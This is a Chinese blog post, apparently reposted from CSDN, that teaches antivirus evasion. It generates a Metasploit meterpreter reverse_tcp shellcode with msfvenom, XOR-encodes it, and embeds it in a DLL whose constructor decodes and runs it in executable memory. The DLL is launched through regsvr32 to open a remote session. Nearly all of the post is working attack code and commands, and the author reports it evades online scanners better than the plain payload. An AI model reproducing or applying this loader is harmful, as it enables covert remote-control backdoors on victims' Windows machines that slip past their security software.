标签:index 免杀 int unsigned dll msfvenom buf payload
免杀简单实践
实验各种渗透框架的后门,结果很多文件放到硬盘上就开始报毒,这样的话根本
很难实际使用,网上搜索各种免杀工具,据发布有些时间的似乎也都不行,自己
稍微熟悉点的可能是dll这一块,看到有通过加密payload然后再打包成dll,最后
用regsvr32 加载执行的思路,感觉可以是实践下,好歹这个可以自己写下程序。
选择payload
这里选择msf的经典payload:windows/meterpreter/reverse_tcp
//生成c形式的payload
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=7657 -f c
选择加密方式
这里选择比较简单的逐字符异或加密
//粘贴msf的payload
unsigned char buf[] = "
....
....
unsigned char KEY = '\x87';//随便选个字符
int main(){
unsigned int cnt = 1;
for(unsigned int index=0;index < sizeof(buf);index++){
buf[index] = buf[index]^KEY;
}
printf("\n\tunsigned char buf[]=\n");
for(unsigned int index=0;index < sizeof(buf);){
if(cnt==1){
printf("\"");
}else if(cnt>15){
cnt = 1;
printf("\"\n");
continue;
}
printf("\\x%x",buf[index]);
index++;
cnt++;
}
if(cnt != 1){
printf("\"");
}
printf(";\n");
}
编译执行获得加密结果
D:\dllmaster>gcc -m32 xorGenerator.c
D:\dllmaster>a.exe
编写解密模块
//config.h 配置模块,一些基本设置
#define XORBYPASSER '\x87'
#define DATAEXEC
#define NOWINDOW
//xorBypasser.h
void xorDecoder(unsigned char buf[],unsigned int size);
//xorBypasser.c
#include "config.h"
void xorDecoder(unsigned char buf[],unsigned int size){
for(unsigned int index=0;index<size;index++){
#ifdef XORBYPASSER
buf[index] = buf[index]^XORBYPASSER;
#endif
}
}
编写DLL
//DllMain.h
#include "config.h"
void __attribute__((constructor)) DllMain(void);
//把加密后的payload粘贴过来
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x8b\x52\x14\x89\xe5\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
....
....
//DllMain.c
#include "DllMain.h"
#include <stdio.h>
#include <windows.h>
typedef void (__stdcall *CODE) ();
void DllMain(){
unsigned int buf_size = sizeof(buf);
#ifdef XORBYPASSER
xorDecoder(buf,buf_size);\\解密payload
#endif
//这里采用申请内存空间的方式,把payload复制进去执行,也可以将data段设置可执行位直接跳转执行
PVOID p = NULL;
if ((p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
MessageBoxA(NULL, "error", "info", MB_OK);
if (!(memcpy(p, buf, sizeof(buf))))
MessageBoxA(NULL, "error", "info", MB_OK);
CODE code =(CODE)p;
code();
}
编译测试DLL
gcc -m32 -shared -o master.dll xorBypasser.c DllMain.c
在编写一个注册脚本 保存为test.bat
regsvr32 master.dll
远控端启动multi/handler监听会话
点击bat,成功上线
注释掉代码里的XORBYPASSER宏,把payload换回未加密的,生成一个dll来比较下
gcc -m32 -shared -o noob.dll xorBypasser.c DllMain.c
在线查毒检测
master.dll 加密后的payload
noob.dll 未加密的payload
基本还是有效果的
后记
这套代码,可以进一步扩展,最简单的可以设计一套bat脚本,利用编译器的预处理,自动化修改源码,然后生成dll
还可以进一步编写更复杂的加密模块,代码混淆,payload分段,设计成免杀框架
标签:index,免杀,int,unsigned,dll,msfvenom,buf,payload 来源: https://blog.csdn.net/jazrynwong/article/details/113935193
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。